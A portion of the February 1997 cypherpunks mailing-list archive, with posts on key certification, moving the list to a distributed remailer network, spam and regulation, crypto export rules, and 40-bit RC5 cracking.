       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 13 Feb 1997 15:26:56 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: anonymity and e-cash
Message-ID: <199702132326.PAA13599@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:28 PM 2/12/97 -0800, Hal Finney wrote:
>From: Sean Roach <roach_s@alph.swosu.edu>
...
>> Another idea that has been festering.  If we could get a CPA involved in
>> this forum, I would be willing to have h[im/er] sign my key, (which is
>> seldom used, mostly because this is the only place I use e-mail), for that
>> reasonable fee that CPA's can charge.  I know that it is not a standard, or
>> even legally recognized, post for CPA's, but I think that enough people
>> would trust them.
>
>The big question with identity certificates is what procedures were followed
>in verifying the identity when the cert was issued.  If the CPA publishes
>some standard method, and his reputation is strong enough that people will
>trust him to follow it, then it might well be worth money to you to have
>him sign it.  This is the traditional role of the Certification Authority.
>
>> This would take care of some of the "newly minted" key problems.  Since
>> getting someone who is trusted to sign your key is a recognized method of
>> getting people to believe you are who you say you are.
>
>It depends on the circumstances where you expect to use your key.  Within
>a small to medium circle of associates there may be some group members
>who sign keys and are trusted by other members of the group.  There is
>no particular reason for it to be difficult.  If you want a signature which
>will be accepted by everyone in the U.S. you have a harder problem.

As far as I am aware, a CPA is supposed to require a photo ID.  Since this
is the method by which absentee voting is accomplished.  A supposedly
anonymous system, (using two envelopes, the postmaster only knows that you
voted, the vote counter only knows that it came by mail, the public only
knows how many people are absentee voters, and who, the voter assumes that
the system works), requiring the CPA as a witness to the identity of the voter.
The problem would be getting the public to recognize the CPA as a key
signing authority.  This would presumably require a public announcement, the
backing of existing trusted users, etc.

Personally, I think that the netherlands? toying around with the post office
would be ideal for keys used solely for signing.  I just wouldn't trust the
government to have access to the one I used for encryption.

Maybe that's a better idea.  Let's all use a government accessable key for
signing, making it as long as possible to reduce identity theft.  And use
homebrew, super encryption for the actual secrecy.  Let GAK be our CPA.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 11:58:34 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702131958.LAA09852@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


subs-cri-be to the unedited list.

igor
Derek Atkins wrote:
> 
> Anil Das <das@sgi.com> writes:
> 
> [snip]
> > It detects duplicates by Message-Id.
> 
> Unfortunately, the messages that make it through to the cypherpunks
> list have their MessageID changed when they get approved.  So,
> checking for duplicates by MessageID fails, given the current approval
> mechanism. :(
> 
> I've informed Sandy of the problem, but he doesn't know how to
> preserve the original MessageIDs.
> 
> -derek
> 
> -- 
>        Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
>        Member, MIT Student Information Processing Board  (SIPB)
>        URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
>        warlord@MIT.EDU                        PGP key available
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 15:27:13 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com
Subject: Re: (2) More on Digital Postage
Message-ID: <199702132327.PAA13638@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:10 PM +0000 2/13/97, Attila T. Hun wrote:

>+Attila is free to hire agents to screen his mail so he does not receive
>+spam. He is not free, in a free society, to force such screeners upon
>+me.
>
>    very true. if you if define that your freedom includes the free
>    abuse of your freedoms by others.  freedom is a two way street;
>    freedom in my book says that I can do anything I wish which does
>    not infringe on the rights of others. now, that implies that I can

As this relates to "unwanted mail," I think calling this an "abuse of
freedom by others" is misleading, and a slippery slope. On this same
slippery slope lies the claims by some women, as an example, that images in
Playboy "abuse their freedoms" (I'd've thought a different kind of abuse is
involved, but I won't get into that here).

Is unwanted physical mail also an abuse of freedom? How about unwanted
personal letters? How about unwanted conversations in a Cypherpunks meeting?

The answer to all of these issues lies outside the State. Invoking the
power of Men with Guns to stop these "unwanted contacts" is simply wrong.

Attila seems to be arguing that the State has a legitimate role in
censoring certain contacts, whereas I argue that technology and contracting
can almost always do a better job.

I repeat: Attila is free to hire a censor, or nanny, or personal secretary
to screen his calls, to sift through his mail to pass on only the most
relevant stuff, and so on. Many celebrities and busy people do just this.

(In the CompuServe case which triggered this thread, CompuServe certainly
could have offered a "filtering" service to its members. This would be
unexceptionable, and the right way to go, contractually and
technologically.)

Attila is not free, in a free society, to claim (*) that his freedoms are
being infringed when people send him mail he is not interested in.

(* He can certainly _claim_ it, but he cannot bring the State in to enforce
his dubious claim about his freedom being infringed.)

By the way, I think the "junk fax" and "junk phone call" laws are clearcut
violations of the First Amendment. I understand why the herd _wants_ these
laws, as it reduces the costs involved in replacing fax paper, running to
the telephone only to find someone trying to sell something, etc., but it
is quite clearly a prior restraint on speech, however well-intentioned.

(There are technological solutions to these problems as well. The laws
shield people from having to deal with these solutions, however.)

--Tim May





Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Wed, 12 Feb 1997 18:56:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Transmission of Crypto material and ITAR
Message-ID: <199702130256.SAA18293@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear All,

I have a question regarding the impossible enforcement of ITAR/EAR:
Naturally I cannot download crypto software from the US, but most of these
sites have mirrors in other countries, such as the UK for PGP, and sweden
and finland for lots of things.

However, with the way that information is routed throughout the internet
from these sites, whenever I, in Australia, request packets containing this
data from the UK etc, it invariably passes through the US from coast to
coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
trying to enforce something totally unenforcable? Surely they cannot expect
all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 

Can anyone tell me what the ruling is with regards to this?

Yours Sincerely,

Benjamin Grosman

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Thu, 13 Feb 1997 08:11:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Transmission of Crypto material and ITAR
Message-ID: <199702131611.IAA04908@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear All,

I have a question regarding the impossible enforcement of ITAR/EAR:
Naturally I cannot download crypto software from the US, but most of these
sites have mirrors in other countries, such as the UK for PGP, and sweden
and finland for lots of things.

However, with the way that information is routed throughout the internet
from these sites, whenever I, in Australia, request packets containing this
data from the UK etc, it invariably passes through the US from coast to
coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
trying to enforce something totally unenforcable? Surely they cannot expect
all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 

Can anyone tell me what the ruling is with regards to this?

Yours Sincerely,

Benjamin Grosman

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 12:12:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: distributed mailing list architecture (fwd)
Message-ID: <199702132012.MAA10181@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Fri, 7 Feb 1997 20:11:15 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: distributed mailing list architecture

> Igor Chudov <ichudov@algebra.com> writes:
> > I'd suggest a simplier solution: to connect each server with a couple,
> > or maybe three, other servers. This scheme is rather robust, does not
> > consume too much CPU time and bandwidth, and is easy to implement.
> 
> I'm not sure what the architecture you are suggesting is, but this is
> what I suggest as the simplest to set up.

I envision it to look like a fishnet.

> Have one main majordomo.

There should be no "one main" anything on this project.

> You subscribe to the main majordomo request address, and it forwards
> your subscription request to a random mail-exploder.
> 
> You unsubscribe to the main majordomo request address, and it forwards
> your subscription to all the mail-exploders request addresses
> (unsubscribe traffic is low anyway, keeping track of who is subscribed
> where at the main major domo doesn't seem worth it).
> 
> Each person who wishes to run an exploder is subscribed (manually) to
> the main majordomo.
> 
> You submit articles to the main majordomo, and it sends copies of the
> articles to it's subscribers (the mail-exploders).
> 
> The mail-exploders send mail to the address on their subscriber lists.
> 
> (John Gilmore suggested this architecture, as a simpler alternative).

Simpler? Hardly.

With the remailer chain proposal we could have a working remailer network
up in a couple of more days. What you propose will take weeks to write
and debug code and then follow it through.

No, this approach is neither simple or efficient.

What I call a fishnet toplogy is much cleaner. Each node only has to
filter messages where it was in the source chain. Easy to do with procmail,
if you look at the first example on the man page, eg how to dump to
dev/null, you find a perfect example of what procmail needs to do. It does
not need to know who else is on the network (as in a star) and its traffic
consists of one copy of each incoming instead of n copies from each of
the 'star' remailers plus the outgoing from the local subscribers. A easy
protocol can be arranged so that if the downstream remailer breaks it
subscribes to the next one in the chain, again easy to do with just a few
lines of code...


  If (bounce count of next site expires)
    {
       subscribe backup feed
    }
  If (next site returns)
    {
       unsubscribe backup feed
    }



As to the actual architecture:


                      A --> D
                     ^ \   ^ \
                    /   v /   v
                   C <-- B <-- E
                         ^
                         |
                         v
                         N  (mail-news gateway)


Again, several nice features are:

  *  Can be gotten up from a stock majordom/procmail install in a
     trivial manner

  *  Site only has to filter mail from itself

  *  It only has to keep up with two sites in the network instead
     of many (support for limited scope and anonymity)

  *  Each site gets a critical feed from only 1 other site so traffic of
     duplicates is a minimum

  *  Except for sites on the boundary of the net every site has two
     places to send its output, adding to robustness, if we allow
     the edges to wrap (eg torus) then no sites have less than 2
     other sites to send traffic to.

  *  Supports various levels of encryption or authentication on a link
     by link basis, not forcing all members to submint to a general
     architecture

  *  Scales easily, something the star model does not do since hub
     machines must grow at a rate dependant on the total number of
     remailers in the chain this equates to mullah and lots of it
     should the network take off

  *  The actual number of machines in a given chain is flexible, I
     would guess the number should match a plane tiling figure,
     triangle (n=3), squares (n=4), or hexagons (n=6)

  *  Traffic analysis and sync floods are harder to impliment in this
     architecture than a star or hub based network

  *  Supports 'little' machines and operators who are not guru's
     or have deep pockets


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 13 Feb 1997 11:58:54 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702131958.LAA09890@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 23:19:40.35

>> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

>> 	Someone with more experience correct me if I'm wrong (I'm just
>> starting to learn about mailing list management), but isn't saving
>> at least the first bounce from a given address good in order to check
>> what address is the one that's actually bouncing? Admittedly, this only
>> applies to badly-formed bounces. The rest can just have the address
>> noted.

>Hmmm, I can see saving the address causing the bounce in some sort of array
>that is indexed to the majordomo subscription list for a given remailer. It
>would not cost anything but overhead to save the entire message. I guess my
>motivation was not that I cared their mailbox was full or it was a invalid
>address but that I wouldn't be able to deliver at this time. I just don't
>see any reason that it helps me to know why they can't receive mail only that
>they can't.

	Well, if you can't deliver mail because their mailbox is full, then
you should simply wait a few days before trying to deliver mail to that
address. If it's because the address isn't there any more, you should delete
it from the subscription lists. Otherwise, the instant people's mail quotas
overflow (e.g., they're on AOL and they haven't been able to get through the
clogged lines), they get bounced... or you're left with a lot of invalid
addresses. The address causing the bounce is not necessarily determinable
automatically from the bounce message; if it isn't, then you need to keep a
copy around for a human to look at.

[re: bi-directional news-mail gateways]
>> >Want to volunteer?
>> 
>> 	Give me some idea of how much programming knowledge, time, etcetera
>> is required, please, before I can answer. I'd be renting space on some other
>> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
>> programming language (i.e., beyond Applesoft Basic) that I know anything of
>> is Perl (and I don't know that all that well); and I am somewhat busy with
>> other stuff. In other words, it depends.

>Hmmm, not shure how much programming it would take - never done it myself.
>I think Perl would be an acceptable language. I certainly hope to do the
>majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
>who knows the fine points of how INN cache's messages. Redbeard and I had a
>short discussion about this issue today relating to tracking messages to
>reduce mail-loops. I will discuss it with him and see what happens.

	Given that there are pre-existing news-mail gateways, I'd think that
the programs should be available. My concern on the programming is more in
the realm of keeping the thing up and running.

>I know exactly what you mean. I have two full-time jobs and hadn't really
>thought of taking on the cpunks list in any manner. But hey, that is the
>spice in life...

	Understood; my busy-ness with other stuff comes from being a grad
student.

>Give me a couple of days to look at the situation and if somebody don't beat
>me to it I'll post what I find out. Cool?

	Looks OK. I'll also take a look around for what information I can
find.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chefren <chefren@pi.net>
Date: Thu, 13 Feb 1997 06:56:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut u
Message-ID: <199702131456.GAA02066@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On 11 Feb 97 at 3:54, John Gilmore wrote:

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:


Hm...

In the year 1513 or 1514 someone who could be an Honourable 
Member of this list (if one could be one...) wrote:


> There is nothing more difficult to take in hand, more
> perilous to conduct, or more uncertain in its success,
> than to take the lead in the introduction of a new order
> of things.     <Niccolo Machiavelli, Il Principe>


Please stop at looking too much on how people scream about
your new ideas and continue this list the way you like
it!!!


I think it's Your Machine and we have to respect your
decision to pull the plug, nobody should blame you for
that, but please listen a little to the 1000+ people who
don't scream and are obviously happy with the list and
respected your right to do the "sandy filter experiment".


+++chefren





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Thu, 13 Feb 1997 15:27:10 -0800 (PST)
To: remailer-operators@anon.lcs.mit.edu
Subject: Remailer Network Under Attack
Message-ID: <199702132327.PAA13634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It looks like a new round of attacks against the remailer network is
underway.  Once again, the provocation is "abuse".

Unknown persons have been using anonymous remailers and mail2news
gateways to "plant" e-mail addresses in various NGs for the
spam-bots to harvest and deluge with spam.  The original intention
appears to have been to "poison the well" for spammers by planting
addresses that they'd get in trouble for sending their junk mail to.
It appears that one or more copy-cats is now using the same
methodology to plant the addresses of people who they'd like to see
spammed.  (I'm using the term "plant" rather than "forge" since the
messages seem to contain sufficient disclaimers that the From:
addresses are not genuine.  Sufficient for a normal HUMAN reader,
but not an automated address harvester, that is.)

Within the last week or so, a chorus of complaints has arisen about
this practice, orchestrated by about a half dozen individuals who
meet an interesting criteria -- they all hold dual accounts on both
Netcom and a small ISP known as DataBasix.com.

The scenario is quite similar each time this has happened in the
past, such as with the cross-posted pro-smoking/anti-smoking threads
last year.  One of the complainers politely asks that the abusers be
identified and their abuse stop.  This is, of course, impossible
because the perpetrators are posting anonymously.  The second step,
which follows the first very closely, is a demand that the remailer
be shut down with threats being CCed to sysadmins and upstream
providers.

Given the variety of addresses being "spam baited", the only logical
target of this abuse is the remailers themselves.  Both sides of
certain heated controversies report being made the target of this
spam bait, each side accusing the other of being responsible.

The only question is whether the main group of complainers (the
Netcom/DataBasix group) are merely innocent bystanders or whether
they may have initiated the "abuse" as an excuse to shut down the
remailers in furtherance of some unknown agenda.  Either that, or
someone else is attacking the remailer net and it's just a
coincidence that a group fitting such a curious pattern (dual
accounts on the same two ISPs) should step in and demand the
dismantling of several elements of the remailer/m2n-gateway
infrastructure.

HYPOTHETICAL QUESTION: Would mentioning the "Reichstag Fire" invoke
Godwin's Law prematurely? <g>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leonard Janke <janke@unixg.ubc.ca>
Date: Thu, 13 Feb 1997 15:27:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702132327.PAA13636@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> 
> Dr.Dimitri Vulis KOTM wrote:
> > [...] 
> > Timmy has a valid point: the reason why a comp.* newsgroup might have less
> > cross-posted and "off-topic" crap is because net.cops would be more
> > likely to complain to posters' sysadmins. [...]
> 
> As for net.cops, check out what Scott Nudds does in comp.lang.c++
> [...]

Yes, Scott Nudds is a good example of how dedicated flamers
(or maybe he is just a flamee trying to defend himself, I came
too late to say for sure), and those who fuel them on, can cause even 
a comp.* newsgroup to be as noisy as this list. (Btw, if you think
comp.lang.c++ is bad, check out comp.lang.asm.x86, sometime!).

I think it is, thus, important to distinguish between
noise from "outsiders", and noise caused by "insiders" who 
actually read the newsgroup but disrupt it for fun or
grudges, or what not. A comp.* newsgroup will help reduce the
former noise, for the reasons Dr. Vulis cites, but not so much the 
latter, since many insider trouble-makers  are often their own 
adminstraters or providers, or who have found providers or who
now have admins who will not cut them off.

That being said, I fully support the idea of a comp.* newgroup, 
over an alt.* group. The important advantages are the greater
propogation many have described, and the reduction in "outsider"
noise. I also think that people interested in computing
in general might be more likely to stumble onto the newsgroup,
since the comp.* hierachy is so much smaller than the alt.*
hierachy.

I do worry, however, that some of the more mischevious people 
around this list might try to disrupt the voting process with forged e-mail,
or turn the discussion over creation into a less than civil debate. 
In this unlinkely worst case scenario, however, not much would be lost
since we could still fall back to alt.cypherpunks, and it
would, later, make for good net.legends. :)

To be fair, though, I doubt that anyone would seriously try to
disrupt the creation, given the dedication I am seeing people putting 
into finding a new home (or homes!) for the list, and that there does not 
seem to be anyone dedicated to distrupting that process as John Gilmore 
worried there would be. (And I am on the unedited list, too!) 

Let's give it a shot!

Leonard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 13 Feb 1997 12:11:59 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702132011.MAA10175@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 23:19:40.35
To:	IN%"cypherpunks@toad.com"
CC:	
Subj:	RE: Cypherpunks Distributed Remailer (fwd)

Received: from toad.com by mbcl.rutgers.edu (PMDF #12194) id
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Date: Wed, 12 Feb 1997 18:59:05 -0600 (CST)
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: RE: Cypherpunks Distributed Remailer (fwd)
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X-Envelope-to: EALLENSMITH
Precedence: bulk


Forwarded message:

> Date: Wed, 12 Feb 1997 18:47 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)
> 
> 	Someone with more experience correct me if I'm wrong (I'm just
> starting to learn about mailing list management), but isn't saving
> at least the first bounce from a given address good in order to check
> what address is the one that's actually bouncing? Admittedly, this only
> applies to badly-formed bounces. The rest can just have the address
> noted.

Hmmm, I can see saving the address causing the bounce in some sort of array
that is indexed to the majordomo subscription list for a given remailer. It
would not cost anything but overhead to save the entire message. I guess my
motivation was not that I cared their mailbox was full or it was a invalid
address but that I wouldn't be able to deliver at this time. I just don't
see any reason that it helps me to know why they can't receive mail only that
they can't.

[re: bi-directional news-mail gateways]
>> >Want to volunteer?
>> 
>> 	Give me some idea of how much programming knowledge, time, etcetera
>> is required, please, before I can answer. I'd be renting space on some other
>> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
>> programming language (i.e., beyond Applesoft Basic) that I know anything of
>> is Perl (and I don't know that all that well); and I am somewhat busy with
>> other stuff. In other words, it depends.

>Hmmm, not shure how much programming it would take - never done it myself.
>I think Perl would be an acceptable language. I certainly hope to do the
>majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
>who knows the fine points of how INN cache's messages. Redbeard and I had a
>short discussion about this issue today relating to tracking messages to
>reduce mail-loops. I will discuss it with him and see what happens.

	So far as I can tell, there are two types of news2mail gateways
in common usage: newsgate, which is in C, and the standard LISTSERV
bit.listserv.* gatewaying. I don't know C and don't have that much
reason to learn it (perl makes a lot more sense to me); therefore, I'd
need to locate a perl version or let someone else take care of the
actual programming end of it, with me just handling what the programming
person didn't. Hmm... I wonder if Lance would be available for the
programming? I'd probably be using an account on cyberpass.net for the
gateway in any event.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Stephen.George.Allport" <ca3sal@isis.sunderland.ac.uk>
Date: Thu, 13 Feb 1997 06:56:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702131456.GAA02065@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Strassmann wrote:
>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.

As the UK gets a lot of desktop PC software from the US, ie MS & Lotus
we unfouantly have to live with the 40-bit limit. What the RSA Chalange and 
Ian Goldberg have achived is a couple of aritcales in the broad sheet papers

http://www.telegraph.co.uk:80/et?ac=000145546611023&rtmo=33032622&atmo=33032622&
P4_FOLLOW_ON=/97/2/4/ecfilm04.html&pg=/et/97/2/4/ecfilm04.html

(ouch) and

http://go2.guardian.co.uk/archive.html

The competion has shown to the general populs and not just "experts" what a 
crap deal were getting. Three and half hours gets people thinking.

Ste 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 15:26:48 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702132326.PAA13588@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote:
>
>This is where the distributed nature of the list comes   in.
>
>if someone disagrees with Jim's AUP, he or she can use soem other
>mailing list host.

Is this the policy of the majordomo network, that individual list operators
can make their own policies for their subscribers, but may not/cannot
impose them on other list operators or the other lists' members? It sounds
very reasonable, but it would be nice to be clear about whether or not this
is the case. 

Are there any rules (other than "no rules") which apply to all lists/list
operators/list subscribers? Can there ever be any? Who would write the
rules, and who must agree to them in order for them to take effect?

Can individual list operators be forced to or forbidden to "peer" with
other machines, or are these "peer" relationships up to each list operator?

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Thu, 13 Feb 1997 15:26:49 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702132326.PAA13590@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Igor Chudov @ home writes:

IC> This is where the distributed nature of the list comes in.  if
IC> someone disagrees with Jim's AUP, he or she can use soem other
IC> mailing list host.

	And once I'm up and running, my cypherpunks list server will
not be interconnected with any server which has a similar AUP.  The
implication of the AUP is that if you _don't_ comply with it, you will
be blocked.  Without such an implication, the AUP is meaningless, and
I'm dedicated that there should be no filtering/blocking of any kind,
of the list.  Persons behaving 'unacceptably' should be handled by
social pressures by others in the 'community' of the list, and not by
policies of the list operators.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Thu, 13 Feb 1997 15:28:52 -0800 (PST)
To: Tobin Fricke <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702132328.PAA13671@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Tobin Fricke wrote:

	Turns out they were just late in gettin it to me, but I did get
it.

> >        1-800-688-6115 press 0 or just wait for the operator. My second
> > order consisting of posters and video has not arrived either. It has been
> > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> > you order the Rainbow series you will be getting a large box.Their are
> > something like 30+ booklets in the series.
> >         There is a set of security posters  that include a Santa
> > poster.And there is also a video with two films on it (Acess Ins and outs
> > adb Acess Control).
> 
> How much does all this stuff from the NSA cost?
> 
> Tobin Fricke
> (please reply privately, tobin@mail.edm.net)
> 
> 

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*  "Courage is not defined by those who 
  *---===|       2600       |===---*   fought and did not fall, but by those
  *---===|__________________|===---*   who fought, fell, and and rose again."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 13 Feb 1997 15:27:07 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702132327.PAA13628@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A while back, I experimented with a technique for adding an md5 based
message-id at the top of my procmailrc.  Never got it working.  I'll
give it another shot middle of March, when I get back from FC '97*,
and catch up on stuff.

Someone could of course, beat me to it.

The flow was:

all messages get piped into md5, then use formail to set a new header.

Adam



Derek Atkins wrote:
| Anil Das <das@sgi.com> writes:
| 
| [snip]
| > It detects duplicates by Message-Id.
| 
| Unfortunately, the messages that make it through to the cypherpunks
| list have their MessageID changed when they get approved.  So,
| checking for duplicates by MessageID fails, given the current approval
| mechanism. :(
| 
| I've informed Sandy of the problem, but he doesn't know how to
| preserve the original MessageIDs.
| 
| -derek
| 
| -- 
|        Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
|        Member, MIT Student Information Processing Board  (SIPB)
|        URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
|        warlord@MIT.EDU                        PGP key available
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Thu, 13 Feb 1997 17:26:23 -0800 (PST)
To: cypherpunks <attila@primenet.com>
Subject: Re: (2)Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702140126.RAA15895@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 Feb 97 at 5:00, Attila T. Hun wrote:

> 
>     I don't like the regulatory agencies either, but at least they
>     are not Judge Roy Bean, Law West of the Pecos.
> 
>     unfortunately, until the irresponsible tone down their greed, we
>     need the regulation to protect ourselves from the predators.

Attila:  I am shocked that you would make this statement.  What makes 
you think that the 'regulators' would go away, once the greedy spammers 
"toned down their greed"?  Spammers as Predators?  Are you being 
sarcastic?  Are you seriously saying that spammers are preying on the 
weak?

I am one-thousand % AGAINST regulation of any sort.

> 
>     in other words, I agree with you in my heart, but our society
>     refuses to cooperate.  

If cooperation means regulation, count me out.

Ross 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Homer W. Smith" <homer@lightlink.com>
Date: Thu, 13 Feb 1997 15:27:16 -0800 (PST)
To: Wazoo MixMaster <mix@earth.wazoo.com>
Subject: Re: Remailer Network Under Attack
Message-ID: <199702132327.PAA13644@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Given the variety of addresses being "spam baited", the only logical
> target of this abuse is the remailers themselves.  Both sides of
> certain heated controversies report being made the target of this
> spam bait, each side accusing the other of being responsible.

    Allegations of responsibility are a serious charge and should
be looked into immediately.


     GOOD GUYS AND BAD GUYS, circa 12/95

     There are two kinds of people in the world.  Those that divide
people into two kinds and those that don't.

     With that in mind, I present to you the following over
simplification.

